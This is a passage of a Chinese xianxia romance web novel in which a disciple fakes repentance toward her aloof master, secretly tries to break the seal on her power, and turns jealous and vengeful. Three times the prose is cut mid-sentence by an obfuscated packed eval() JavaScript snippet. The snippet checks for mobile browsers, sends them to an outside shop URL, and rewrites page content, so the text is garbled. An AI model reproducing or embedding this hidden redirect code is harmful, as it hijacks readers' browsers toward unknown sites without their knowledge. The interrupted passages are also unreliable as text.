明决对她数日杳无音信没有惊讶,没有对她私自下山发出诘问,没有一丝一毫属于“人”的情绪,诸如关切,责备,或松一口气之类的正常表现。 她的离去,她的归来,于他而言,真的只是这尘寂山中,一片叶子落下,又一阵微风吹过一样寻常。真的没能在他那完美无瑕的道心湖上,吹皱哪怕最细微的一点点涟漪。 然后,他开口,声音如玉石轻叩,清越动听,没有任何温度: “回来了。” 三个字。 没有前缀,没有后缀。 没有“这些日子去了何处”,没有“为何突然归来”,没有“可曾受伤受累”。 只有冷酷,只有理性,只有平静。 “噗——”雪闻笙好像听到了心底那一点点连自己都唾弃,不切实际的残存火苗,被这盆冰水彻底浇熄的声音。 他,果然如此...... 为什么他不问?为什么不生气?哪怕他皱一下眉头,只是流露出一丝失望也好,斥责她一句她也甘之如饴,让她看到他不是一尊完美的玉像,他也会因她而情绪波动! 这样的无动于衷比任何鞭笞责罚都更让她感到被轻视被忽略的屈辱与伤害。 他什么都没说,什么也没做,这才是对她最严厉最残酷的刑罚! 她的心是真的凉了。 她所有的期待,所有的试探,所有的伪装,在他理性,近乎神性的平静面前,显得如此可笑,如此徒劳。 不过,这样也好。 她耳边有个冰冷的声音响起:幻灭让人清醒,清醒才能冷酷。 才能铸造出面对他,面对这残酷世界所需的冷酷心肠。最后一丝幻想破灭了,她才可以更毫无负担地披上伪装,更专注地投入这场注定艰难的对弈。 她低头,迅速垂下眼帘,睫毛像受惊的蝶翼剧烈颤抖了几下,再抬起时,那双极美的眸子,已经盈满了一层薄薄的水光,泪意欲落未落,映着山间微光,楚楚可怜。 她向前踉跄了半步,声音哽咽,说出口的每一个字都充满了“悔恨”之意: “明决......我......”她连称呼都小心翼翼,“我知道错了。我不该......不该任性,不该不听你的话,私自离开尘寂山......让你担心。” 她将“让你担心”几个字说得很轻很轻,像试探,又像不敢奢望的愧疚。 她停顿住,吸了吸鼻子,努力控制了一下激动的情绪,声音放轻,更显破碎:“山下......我......我遇到了很多事情,才知道自己从前多么天真......才知道只有尘寂山,只有......只有你身边,才是......”后面的话仿佛羞于启齿,又像被巨大的后怕哽住了。 “我才知道你往日的教诲皆是金玉良言,尘寂山才是我安身立命之所......只有这里的清风明月,药香竹影,才是真正的安宁。我......我喜欢这里的平静,喜欢每天侍弄这些花草,看着它们生长,喜欢心无杂念地养心,修道......我保证以后再也不会任性了,我一定好好听话,安分守己,潜心修道,好好打理药圃,决不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892667|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再违逆你的意思了......” 她将自己想了无数遍的“剧本”演绎出来。 懊悔,无助,依赖,还有对“山下世界”模糊的恐惧。她的姿态简直低到了尘埃里,完全就是一个闯了祸,吃了苦头,终于懂得回头是岸的顽劣孩子该有的模样。 明决静静地看着她。 目光澄澈平静,像秋日深潭,映出她梨花带雨的模样。 他没有回应。 短暂的沉默,压得雪闻笙几乎要维持不住脆弱的伪装。 就在她指尖冰凉,以为他看穿了一切的时候,他却将目光从她脸上,微微下移,扫过她沾尘破损的裙摆,划过她微微颤抖的手,最后,又落回她强撑泪意的眼睛。 然后,他应了一声。 声音依旧平淡,听不出是接受了她忏悔,还是别的什么。 “嗯。” 顿了顿,他才补充了四个字,与初见的三个字呼应,却显得更宽容,也更疏离——一种居高临下,无需计较的宽容与疏离。 “回来便好。” 不是“原谅你”,不是“记住你的话”,也不是对她关于“喜欢尘寂山平静生活”的保证做出评价,对她口中模糊的“山下遭遇”也完全没有半分探究的兴趣。 他直接接受了“她回来”这个结果。像接受一片被风吹走的落叶,偶然又落回了原地。至于落叶经历了怎样的风雨,为什么归来,并不在他关心的范畴之内。 他所在意的,或许只是这尘寂山的秩序与宁静,是否因此被打破——而目前看来,似乎没有。 这种态度,像极了他施与她的那道“太清锁灵印”。雪闻笙所有精心准备,反复打磨的台词,所有饱满的情绪,都仿佛一拳打在了空处,力道反震回来,受伤的从来都是她自己。 她对明决这个人无法撼动产生了绝望。 说完那话,明决便没再多看她一眼,微微侧过身,将注意力重新投向那株霜蓝色的灵药,结束了跟她的谈话,只留给她一个清冷绝尘的侧影。 就,这样? 她默默站在原地,指尖深深掐进了掌心,她看着他专注的侧影,心底翻涌的不再是单纯的委屈或爱慕。 有庆幸。他果然如她所料,不会深究,这给了她周旋的空间。 有悲凉。他果然如此,平静得近乎残忍。 有恨意。这平静之下,会不会就藏着那“太清锁灵印”的真相呢? 还有一种被看穿的惊悸。他的目光,方才那一瞬的停留与沉默,是否已经穿透了她竭力维持的脆弱表象,看到了其下那颗已经龟裂,充满蛰伏的算计与冰冷恨意的心? 这些她都不确定。 明决的心思,从来如这尘寂山的云雾,看似清澈,实则渺远难测。 她轻轻地吐出一口气,憋在心里很久了,然后做出如释重负,又疲惫不堪的姿态。 用带着浓重鼻音的声音,轻轻应道: “是......我知道该怎么做了。” 她没有再试图多说什么,多说多错。 她目光低垂,落在自己沾满尘土的鞋尖上,眼底深处,水光褪去,满是沉静与凛冽。 第一步,算是踏回来了。 虽然与明决之间,隔着一整片寂静寒冷的冰原。 但博弈,才刚刚开始。 她得更小心,更耐心,把自己真正的意图和变化,掩埋在这张楚楚动人的皮囊里,扮演好“迷途知返”的角色。 山风穿过庭院,拂动两人的衣袂。他的雪白,她的尘灰。 明决静如雪山,雪闻笙恍如飘萍。 看似重聚,其实,有什么东西已经彻底改变,永远无法回头了。 从那日起,雪闻笙与明决之间,便陷入了比以往任何时期都要微妙,紧绷,暗流汹涌的相处状态。 庭院还是那个庭院,晨昏依旧准时交替,药香亘古弥漫。 雪闻笙曾天真地以为,经历了凡尘的繁华和孤岛的绝望,她足以将那些少女滋生的,不该有的情愫连根拔起,或者至少,能够用恨意与明确的目标,将其牢牢冰封。 然而,她高估了自己。 35. 第 35 章 那经年累月,每一次他清冷目光掠过的瞬间里,悄然滋长起来的喜欢与依恋,早就深入骨髓,成了她情感脉络中最顽固的一部分。 现在,虽然这份执念被注入了痛苦与矛盾,心却依旧会为他悸动。 她再也不敢像从前那样,带着倾慕,肆无忌惮地用目光追随他的一举一动。每当他的身影出现在视野中,她便像受惊的含羞草,瞬间将所有的注意力强行收束,垂下眼睫,做出专注手中事务的样子。 她不敢再借故请教问题而靠近,不敢再在他经过时,让衣袂带起的微风拂过自己。 她为自己套上了一层名为“诚心悔过,谨守本分”的厚重壳子。 这壳子光滑,温顺,毫无破绽。 每日清晨,她准时出现在山崖露台,修习明决安排的“静心咒”。 山风凛冽,云涛翻涌,她盘膝而坐,眼眸微阖,神色肃穆,看起来真的沉浸在那据说能涤荡心魔,安宁神魂的韵律之中。 只有她自己知道,她的“静心”,其实是心潮最翻涌的时刻。脑子里飞速运转的全是算计,“太清锁灵印”的符文结构究竟如何?哪些古籍可能记载类似的至高道印,哪些可能有破解思路? 明决将那些可能涉及远古秘辛,或强大圣物法器的典籍存放在何处?如何才能在完全不引起他警觉的情况下,接触到那些东西?清音咒成了她思绪最佳的掩护,在一声声节奏的掩护下,她的谋划像一条暗河潜流,汹涌不息。 她也依旧读书写字。 明决的书房对她从来是设防的。 或许他认为没必要,或许是一种无形的考验。 她每日会花很长时间在那里,临摹他留下的字帖,翻阅一些基础的药理,道经。不过,她阅读的范围渐渐有了偏移。 她“偶然”抽出一本讲述上古阵法源流的晦涩典籍,眉头轻蹙,似在艰难理解,在看到提及“血脉禁制”,“本源封印”等字眼时,她眼睛停留的时间稍长一些。 夜深人静时,确认明决已经入定或外出了,她便凭着记忆,偷偷翻找书房深处那些蒙尘更厚,更古旧的卷轴,她心跳如鼓,指尖稳稳地拂去灰尘,借着窗外朦胧的月光,快速浏览,寻找相关“封印”,“圣物”,“焚梦”,“魅族”的只言片语。 每做一次这样的冒险,她都筋疲力尽,但是疲惫之余,也感到自虐的兴奋,紧张。 在药圃里她待的时间也很长。 她照料那些灵药,比以往更尽心尽力,说是机械也不为过。松土,浇水,除虫,修剪......每一个动作都一丝不苟,可她失去了从前那种面对鲜活生命时自然流露的欢喜。 现在她比童心木心还像个被设定好程序的牵丝木头人,沉默地穿梭在药垅之间,眼神空洞,以前让她感到有成就感的劳作,成了必要的伪装和消耗时间的途径。 她不会再对某株药草突然绽放的花苞感到惊喜,不会再为救活一株濒死的幼苗而雀跃。所有的情绪,无论是正向的还是负向的,都被她死死锁在了温顺的壳子下面。 连与明决的相处,她也刻意去疏离,保持距离感,只把他当做一位值得尊敬,无需亲近的师长。 再请教问题时,目光只落在书卷或药草上,回答时,简洁明了,绝不延伸,绝不流露任何个人情绪。 她已经尽力做到最好了。 然而,压抑的情感像被强行堵截的洪水,时时刻刻都在寻找任何可能的小缝隙,企图决堤。 她怎么可能忍的住? 在明决背对着她检视丹炉火候时,她用眼角的余光痛苦地偷偷描摹他清俊挺拔的轮廓,那线条如远山积雪,冷冽干净,让她心尖发颤。 在他靠近时,即便隔着几步距离,他身上那股清冷,混合了药香的气息隐约传来,依旧会让她呼吸一窒,心跳失控,必须用尽全力才能维持表面的平静。 有时候他仅仅是一句平淡无奇的音节,落入她耳中,也会在她死水般的心湖激起她自己都厌恶的酸涩涟漪,一层又一层...... 她豁出去了,尝试另一种途径——小心翼翼的,带着试探意味的提问。将心中翻腾的关于力量,封印,本源的疑问,包裹在懵懂好奇的外衣下。 一日,午后的书房光影静谧。 她捧着一卷讲述天地元气本质的竹简,抬起眼,望向窗边正在提笔批注什么的明决:“明决,这竹简上说,天地之力,相生相克,循环不休。那......是否存在一种力量,能够完全压制,甚至……从根本上改变另一种与生俱来的,源于血脉本源的力量呢?”她问得谨慎,目光清澈地望着他。 明决书写的动作依旧丝滑,笔尖流畅地勾勒出一个古篆,直到最后一笔完成,他才缓缓抬起目光,清凌凌地掠过她的脸庞。 “天道有衡,万物负阴而抱阳。相生相克,本是自然之理。然,外力强压,纵能一时禁锢,终非根本解决之道。如同以石镇草,石移草生。心若自困,甘为牢狱,则世间万法,皆成枷锁。心若通达,明见本性,则枷锁亦可是砥砺之石。” 他的回答,像是在解答她关于“力量压制”的疑问,阐述了外力禁锢的局限性与内在心性的关键。又仿佛在某种更深的层面上,意有所指。 他的语气太过客观,澄明,就只是在传授一条放之四海而皆准的道家至理。 他心如止水,映照出她试探的涟漪,不给她任何幻想的可能。 他像一座矗立在时光尽头的,永恒不化的冰山,她所有炽热或幽暗的情感,撞上去,只会粉身碎骨,连回声都听不见。 雪闻笙的感情,像燃烧的火焰,外部寻求不到可燃物,只能向内,疯狂地灼烧她自己。 夜晚,当尘寂山沉入黑暗,明决的气息也归于沉寂,雪闻笙那层坚硬的伪装才会出现一丝丝裂缝。 被强行镇压的爱恋,求而不得的痛苦与自我厌弃,对族人处境日益深重的焦灼,还有对明决看似慈悲实则冷酷的封印施加行为的怨怼......所有负面黑暗的情绪发酵,膨胀,变形。 雪闻笙躺在床上,睁大眼睛望着屋顶,那些白天不能想的画面轮番轰炸,几乎要将她逼疯。 终于无法忍受时,她悄无声息地起身,像一抹游魂,穿过寂静的庭院,独自走入后山。 后山满是冰冷的岩石,虬结的古木,还潜藏着许多不知名的野兽。 她找到一处背人的嶙峋山壁,然后,张开嘴吧,向着无边的黑暗发出撕心裂肺的嘶吼!所有的痛苦,压抑,恨意,都凝聚在这一声一声的咆哮里,吼完就开始剧烈咳嗽,她觉得自己的喉咙都要被这股气撕裂了。 手指抠进粗糙冰冷的树皮,直到指甲翻裂,鲜血顺着木纹的沟壑蜿蜒流下,手指头全是尖锐的痛,她心里才稍微好受一点。月光偶尔穿透密林,照在她布满泪痕的脸上,那张绝美的容颜显出一种妖异的破碎感...... 回到房间里,她终于疲惫不堪陷入浅眠,还是会做梦。 梦境是她另一种形式的宣泄场,一个可以肆无忌惮展现内心黑暗面的私密舞台。 梦中的她,不再是只能压抑情绪的伪装者,是主宰一切的王者。 场景不是固定的,很模糊。 有时是雾气弥漫的碎星礁,咸腥的海风里混着记忆中的血腥,有时是残垣断壁的曦光城遗址,月光苍白如骨,有时是一片无边无际的黑暗虚空。 但是她想要“招待”的“客人”非常固定,非常清晰。 “客人”们,主要以那些身着月白道袍的身影为主。 为首的那张脸,三角眼,面皮白净又虚伪,正是赵无俊,他身后,是络腮胡的王师弟,瘦高个的修士,还有其他几张曾经出现在屠杀现场的面孔,他们都被无形的力量拘束着,拖拽到了她的“领域”中。 开始的时候,她的报复很直接,将他们死死缠绕,吊悬在半空,她缓步走近,用冰棱一寸一寸,刺破道袍,没入肌肤。 这还不够。 她用幻术,将他们做过的暴虐行径,千百倍的反馈到他们自己身上,看着这些平日高高在上,视魅族为草芥的“道长”涕泪横流,尊严尽失。 逐渐的,她不再满足这些简单的报复。 在梦中,她尝试调动自己被封印阻隔的力量。 她耐心地引导,凝聚,一开始只是细微的感应,一丝丝阴冷火热属于魅族本源的气息,艰难地穿透“太清锁灵印”的缝隙,萦绕在她指尖。 一次,两次......梦境的次数叠加,经验的累积,这个过程越来越“熟练”,幽暗的气息从一丝丝,变成一缕缕,逐渐汇聚,在她掌心盘旋。 她轻轻一点就行瓦解那些修士的护体灵光,剥夺他们的修为。她随意调动着这股力量,凝结成鞭,凝结成笼,将修士们困在其中,享受着力量本身带来的,凌驾于一切之上的自由与强大...... “唔……” 雪闻笙猛地睁开眼,抬起双手,举到眼前,梦中移山倒海,剥夺修为的力量呢?没有了,手上只有抠挖树皮留下的伤痕才是真实的,指尖隐隐作痛,提醒着她梦境与现实的反差。 前一秒还在云端俯瞰众生,执掌生死,下一秒就跌回这具冰冷无力,被重重封印禁锢的凡俗躯壳里。充盈的力量感退去,留下的是更深邃的空洞,焦渴,和绝望。 她缓缓放下手,握紧拳头,指甲嵌入掌心的旧伤,带来新的刺痛。 梦里的女王褪去华袍,依旧是囚徒。 而囚笼的钥匙,远在九天之上,握在那个她爱恨不能,像冰山一样永恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892668|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂静的人手里。 她起床默默地清洗伤口,敷上草药,重新戴上那副温顺平静的面具。 爱恋在压抑中扭曲,痛苦在沉默中疯长,渴望力量的信念在绝望中淬炼成了毒。 白天她是尘寂山最恪守本分的弟子,夜晚她是游荡在后山与梦魇中,逐渐被黑暗浸透的幽灵。 而明决依旧圣洁,遥远,是她痛苦的源头,也是她无法挣脱的执念。 又一日,天空下起了淅淅沥沥的小雨,雨水敲打着竹叶,发出沙沙的声响。 雪闻笙站在廊下,看着庭院中被打湿的药草,忽然轻声说:“这雨......让人心里也湿漉漉的,很不舒服。”她顿了顿,仿佛自言自语,又仿佛在说给他听,“有时候,真希望有一把破天神剑,能劈开这漫天阴霾,见到天光。” 她的话里,带着双关的意味,既指天气,也暗指她此刻的心境与她渴望的圣剑“焚梦”。 明决静立在廊柱另一侧,望着雨幕,素白的衣袍在湿润的空气中更显清冷。他默了片刻,缓缓道:“骤雨不终朝。天地尚不能久,而况于人乎?静待即可,强求反失。” 静待?她如何能静待? 魅族困顿的处境时时刻刻都灼烧着她的灵魂!他说的平静,说的“静待”,在她听来,像冷酷的嘲讽。 这些试探一而再,再而三的失败,情感上得不到丝毫回应的干渴,她内心的阴暗面像得不到光照的苔藓,肆意蔓延。 她不再满足对着树木岩石发泄,开始尝试一些从魅族岛屿带出来的隐晦的秘法去刺激血脉,夜晚的“修行”变得频繁危险。 她偷偷收集月华最盛时的露水,混合了几种药圃边缘生长的,带有微毒性的阴寒草药,按照记忆中模糊的秘法仪式,在子夜时分躲在自己房中绘制一些简单的阵图结界。 这层小结界给了她保护,她盘坐阵图中,努力催动体内被封印的力量,试图找到一丝缝隙。 每一次尝试,都像用脆弱的身躯撞击一座无形的铁壁。 那道“太清锁灵印”稳固得令人绝望,金色的道纹在她意念触及之时便会隐隐浮现,将她所有的努力都消弭于无形,严重的时候,还会引得自身气血逆冲,喉头腥甜。有好几次,她几乎要压制不住强大的反噬之力,险些惊动外界。 又失败了,失败给她的不仅仅是身体的痛楚,还有精神上痛楚。 这些源头都来自明决。 是他!是他亲手给她戴上了这个枷锁,让她眼睁睁看着族人受苦,无力救援! 雪闻笙不知道的是,在她每一次于深夜进行危险尝试,气血剧烈波动之时,静室之中,已经入定的明决,眼睫都会颤动一下,他周身融于天地的气息,会出现一丝微小到几乎无法捕捉的涟漪。 他一直都知晓。 知晓她的试探,知晓她内心那日益膨胀的黑暗与痛苦,可能也感知到了她危险,试图冲击封印的举动。 但他从未点破。 像一位冷静的医者,观察着病患身上毒疮的恶化,却并不急于动手剜除,而是静观其变,等待着某个契机,或者......等待着病患自身的觉悟。 他的道,是自然,是超越个人情感的悲悯。他深知,外力强加的“拯救”往往适得其反。有些路,必须她自己走过,有些坎,必须她自己迈过,有些罪,必须她自己认知。 在她又一次冲击封印失败,脸色苍白,脚步虚浮地出现在早餐桌上时,明决淡淡地瞥了她一眼,开口说了一句:“修道之人,当知‘欲速则不达’。气血浮躁,于己无益。” 雪闻笙拿着筷子的手猛地一僵,惊出一身冷汗。他看出来了?他看出她气血不稳?那他是否......看出了更多? 她不敢问,强作镇定,低下头,低声应道:“是......我记下了。” 那一刻,她感觉自己所有的伪装,像阳光下的冰雪,脆弱得可笑。可他偏偏不揭穿,用超然物外的态度,看着她在他划定的界限内挣扎,沉沦。 这种“被看穿却又不被点破”的状态,让她感到无所遁形的恐慌。好像她所有的努力,所有的痛苦,所有的阴暗心思,在他眼中,都只是一场无关紧要的幼稚闹剧。 她得不到力量,得不到回应,甚至得不到一场痛快的审判。 她是一只被困在透明琉璃罩中的飞蛾,能看见外面的光,却永远无法触及,只能在方寸之地,徒劳地撞击着那坚不可摧的屏障,直到力竭身亡,或者彻底疯魔。 两人之间,那根紧绷的弦,已经到了极限,只需轻轻一触,便会彻底断裂,引发不可预知的后果。 打破这份微妙平衡的,不是激烈的冲突,也不是蓄谋的试探,而是一个偶然,纯粹得像山间清泉的......笑容。 36. 第 36 章 妄月真人又造访了尘寂山。 一个人来的。 明决看了她一眼,便引她去了平日炼药的小偏厅。 雪闻笙也早早就察觉了陌生气息的靠近。 可能是魅族血脉带来的某种直觉,也或许是她对山上细微变化都过于敏感了。 但她把自己关在房间里,打定主意不出去。因为近日刻意疏远明决,导致内心郁结气血不畅,整个人病了似的,恹恹的,脸色也比平日苍白,眼下还有淡淡的青影。 这副模样,她绝不愿被外人瞧见,尤其是这位妄月真人。 可她坐立难安,心像被一根无形的丝线牵引着,牢牢系在药房...... 于是,她悄悄掐了一个“千音诀”,这不是什么高深的法术,只能将特定方向的细微声响凝聚放大,传递到施术者耳中,是早年她为了方便辨别药材炮制火候偷学的小技巧,她也没想到今天会用在这儿。 她竖起耳朵,静静听着那边的动静。 小偏厅里,茶烟袅袅。 与上次求药的心情完全不一样,妄月真人眉宇间有股化不开的淡淡忧思。 她素手捧着温热的陶盏,沉吟片刻,才缓缓开口:“明决道友,此番冒昧打扰,实是心中有惑,如鲠在喉,不吐不快。” 明决抬手道:“请讲。” 她抬眼:“自上次别后,我下山尽力除疫,苍天垂怜,不多时平乐镇便安定了,在此我郑重谢过道友慷慨施援。” “而后,我依道友所言,闭关静修,试图精进。初时倒也顺畅,灵台清明,气机活泼。近日,却莫名感到前路阻塞,明明修为已至瓶颈关口,却总觉得......差了些什么,进退维谷,迷雾重重。随心漫步,谁承想走着走着,竟来到了尘寂山脚下。回想起上次与道友一番论道,受益匪浅,索性上山请教,盼道友能以慧眼观照,点拨迷津,助我勘破此障。” 明决坐于她对面,素衣如雪,神色平和。 眸光落在她身上,仔细观察她周身气息的流转。 片刻,他方徐徐开口:“真人过谦。修行之路,本如逆水行舟,进进退退,常有迷障。你气息圆融,神光内敛,观之行色,已近‘大臻致化’之境。眼前阻塞,非是歧路,恰是登临更高处必经之‘天门’。破,则海阔天空,滞,则徘徊不前。” 他笃定道:“此关隘,源于心。真人心中所忧,所虑,所执,或许便是那蒙尘之镜。” 妄月真人急切追问道:“请道友明示!” 明决不答,反问道:“真人闭关之时,所思所想为何?是‘破境’之结果,还是‘修道’之本心?是担忧境界不及他人,还是恐惧光阴蹉跎?” 一连数问,如当头棒喝。 妄月真人陷入了沉思。 明决也不催促,只静静品茶,任由药香与沉默在室内弥漫。 良久,妄月真人长长吐出一口气,她起身,郑重一礼:“听君一席话,如拨云见日。然此心中滞涩,非言语可尽除。不知可否......在此叨扰一二日?望能借尘寂山清静之地,再聆道友教诲。” 明决颔首,应允得干脆:“可。真人今日便在此静室歇息。明日破晓前,随我去一处地方。” 他没有解释去哪里,什么时候去。 妄月真人当即点头,应道:“多谢道友!” 雪闻笙在房间里,将这番对话一字不落地听入耳中。 明决对妄月真人的态度,耐心又平和,是她从来没有感受过的,那是同道之间的平等与尊重。 她心中酸涩万分。 他也会这样细致地与人论道吗?也会这样允许旁人留宿山中吗?为什么......对她,却总是那般疏离,仿佛多费一分心思都是多余的? 这一夜,不知道妄月真人休息的如何,反正雪闻笙辗转反侧,心绪烦乱。 名为嫉妒的毒芽冒出头,又被她强行按捺下去,变得郁结难舒,她想知道,明决明日会带妄月真人去哪里?会怎么“点化”她?是不是也会像对她一样,不咸不淡的,说些冷冰冰的道理。 天色未明,万籁俱寂。 雪闻笙悄无声息地起身,远远的跟上了前方两道融于晨雾的身影。 明决引着妄月真人,穿过幽静的石径,绕过几处飞瀑深潭,来到了后山一处开阔高耸的所在——喧云台。 这里三面悬空,脚下是深不见底的渊壑,前方视野毫无遮拦,正对东方。 明决与妄月真人并肩立于悬崖最前端,素白与月白的衣袍在风中微微拂动,发丝轻扬。 雪闻笙躲在山岩后,屏住呼吸,一眨不眨的看着。 他们没有交谈,明决对妄月真人微微颔首示意,妄月真人就心领神会,依言静立,望着眼前变幻莫测的云海。 时间在寂静中流淌。 云海被霞光映照,涌动着温暖的光晕,旭日喷薄而出。 明决依旧沉默,偶尔,会抬手指向云海某处奇特的涡流,或者天际飞掠而过的孤鸿。妄月真人随着他的指引,凝神观看,若有所思,时而还会眉头微蹙。 雪闻笙躲在暗处,看着这“无声胜有声”的一幕。 没有她想象中什么高深的法诀传授,也没有什么玄奥的经文讲解,就是最朴素的“观”“看”"听"。 观云之变幻,听风之吟啸,感受脚下的沉稳,空气中的万物生长。 这一切,在她看来平平无奇,但在明决的指引下,好像真的蕴藏着某种直指大道的玄机。 雪闻笙有股烦躁和......失落。 就,这样? 这么简单,又这么......高深,她无法融入。 这时,崖边一株古松上,传来几声细弱的“啾啾”声。 明决伸手一指,妄月真人的目光被吸引过去。 只见一个鸟巢架在松树枝桠间,一只羽翼丰满的小雏鸟,正努力地从巢中探出毛茸茸的小脑袋。 它黑豆一样的眼睛里,对这个崭新世界满是好奇,小嘴张合,发出一声声稚嫩的鸣叫。在不远处的枝头,它的父母,两只羽色灰朴的成鸟,紧张地注视着它,也不时发出低低的啼鸣,给它安抚,鼓励。 这微小鲜活的一幕,与浩瀚的云海日出有一种奇妙的呼应。 妄月真人看着雏鸟笨拙,顽强地慢慢站稳,她心中的紧绷,渐渐化开,变得一片柔和。生命本身的脆弱和顽强,触动了她内心柔软角落的共鸣。 她看得入了神,忘了云海,忘了朝阳,忘了修行关隘,沉浸在这份新生命的律动中。 在她眼里,已经不仅仅是一只鸟,一片云,一轮日了。 她感受到了“生”的勃发,是脆弱中蕴藏的无穷韧性,是依赖与守护间最本真的“道”。 她一直苦苦追寻“破境”,却将自己困住了,忽略了“道”本身就在这呼吸之间,在这草木枯荣,鸟兽繁衍的最平凡景象中。 她转向明决,深深揖了一礼,感激道:“道友,今日喧云台一悟,胜过百年枯坐。道友真乃我命中贵人,每于迷途之际,总能得道友点化,拨云见日。此恩此德,妄月铭记于心。” 明决微微侧身,淡道:“真人言重。道本自在,悟在己心。在下不过恰逢其会,略作指引罢了。” 妄月真人知道此番机缘已足,不宜久留,拜别明决,临近下山之际,忽然心有所感,多问了一句。 “道友,不要怪我唐突,我有一问,以道友之修为境界,早已远超于我。纵观天下,如道友这般人物,实乃凤毛麟角。不知......道友何时勘破最后玄关,飞升得道,脱离这红尘苦海,逍遥于九天之外?” 这个问题,像一个站在山腰的攀登者,对已经立于绝巅,却似乎无意继续向上,反而驻足俯瞰风景的同行者,产生的好奇。 明决闻言,转身面向璀璨朝阳,山风将他素白的衣袍吹得向后飘扬,他沉默了许久,未答。 就在妄月真人以为他不会回答,或者会以一句“机缘未至”之类的玄语带过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还是因为......妄月真人具备某种特质,某种她雪闻笙永远不可能拥有的东西? 在这一刻,她被这个不属于她,却美好到令人心碎的笑容,打击得粉身碎骨! 她不知道明决笑容背后的真相,只看到了他对着“别人”笑了。她偏执地将那个笑容,扭曲成了明决对这个“特定之人”的特殊对待。 她觉得自己像个彻头彻尾的大傻瓜,可悲又可笑! 她像个永远徘徊在戏台外,只能看着台上人演绎悲欢的局外人!像个蜷缩在冰冷黑暗里的可怜虫! 雪闻笙不知道自己是怎么离开喧云台的。 “咔哒”房门在身后关上,眼前一片黑暗。 不是真黑,房间里有光,有蜡烛,是她整个世界变黑了。 她躺在地上,满脸泪水。 他应该是她的! 是她先来到他身边的! 他的目光,他的情绪,他的关注,他的......笑容!他一切的一切,都应该是她的! 只能是她雪闻笙的!凭什么让别人染指? 凭什么她求而不得,视若珍宝的东西,别人可以轻易地得到?! 她那么喜欢他......喜欢得心都要碎了......喜欢到即使知道他封印了她,恨着他,却依旧无法停止这份感情...... 他为什么......连一个笑容都舍不得给她? 为什么连一丝虚假的温情都不肯施予? 这一次,她没有再压制这股汹涌的黑暗潮水。 任由它席卷自己,吞噬自己...... 她慢慢支起身体,坐起来,心中生出一股破坏欲。 要变得强大,比明决还强大,想让他也感受到同样的痛苦,想要将他牢牢锁在自己视线内,再也不让任何人窥见...... 她开始变了。 变得偏执,阴暗,认定了的东西,就一定要得到,不惜任何代价。 伪装依旧需要,但目的已经不同了。 从前是为了降低戒心,寻求生机,现在,仅仅是为了满足那种病态的,想要靠近他的渴望,即使痛苦也要汲取到他的气息。 她爱意未死,却与恨毒同眠。 37. 第 37 章 雪闻笙将自己反锁在房中,决定不再用魅族的辅助秘法了,它们太温和,力量根本不够,她决定孤注一掷,用最直接,最危险的方式,强行冲击“太清锁灵印”。 一下又一下,锁灵印稳如磐石,禁忌的光芒依旧明亮坚韧!她每次撞击,都像蜉蝣撼树,不仅动摇不了分毫,还引来了封印的反震。 “啊......”她嘴角溢出一缕鲜血,皮肤下隐隐有零星失控的幽暗血丝不停乱窜,全身剧痛。 果然又失败了。 这次逆行倒施引发了严重的反噬,她平息不了这股乱气,眼看就要被撑爆经脉,可能导致魂飞魄散,她忽然害怕了。 她不想死...... “嗡……”一声,远方传来古琴弦振鸣声,轻的好似自虚空而来,立刻抚平了房间内躁动混乱的能量。一股温和的清凉气息,月华般笼罩下来,注入到了她血脉之力与封印之间,轻而易举就压下了这股反噬之力。 雪闻笙喷出一口淤血,浑身脱力倒下,后背被一股无形的力量轻柔托住。 她抬起头,模糊的视线中,看到了那一抹熟悉的素白身影。 明决居高临下地看着她。 他没有说话,伸出手指,凌空虚点,几道柔和的金光没入她体内,迅速修补着她受损的经脉,平复着翻腾的气血。 待她气息稍稍平稳,明决缓缓开口:“执着是苦,妄念是劫。力量不是掌控他人的工具,而是明心见性的途径。你心已偏,道已失,强求而来的,非是解脱,乃是更大的牢笼。” 他......救了她。 那么轻描淡写,仿佛只是随手拂去尘埃般的方式,那么轻松。 雪闻笙瘫软在地,心里又羞又恼,又无力。 她的孤注一掷竟这般不堪一击。 她死死咬住下唇,几乎要咬出血来,才强忍着没有眼泪流出来。她不能在他面前再失态了! “我知道了......是我不自量力......谢谢你......你又救了我一次。”她低下头,避开他的目光,示弱服软是她唯一能做的。 毕竟硬碰硬,她毫无胜算。 明决半晌无语。 “你好自为之。”他留下这一句话,就离开了。 房门关上之后,雪闻笙猛地抬起头,褪去了刚刚强装出的脆弱与羞愧。 服软?那不过是权宜之计。 她擦去嘴角的血迹,看着手臂上自己掐出来还没有愈合的伤痕,暗暗思考。 这次失败了,是因为她过于急躁了。 而明决太强大了,强大到令人绝望。 正面抗衡,她毫无机会。 但是...... 她不会放弃的。 一次失败算什么?只要她还活着,只要她还在他身边,就还有机会。 她要蛰伏,要更聪明,悄悄的寻找机会,不管是封印的弱点,还是关于“焚梦”圣剑的线索,还有任何可能......制衡他,压制他的方法。 险些身死道消之后,雪闻笙沉寂了一段时间。 她更加“乖巧”,也可以说是更“体贴”了。 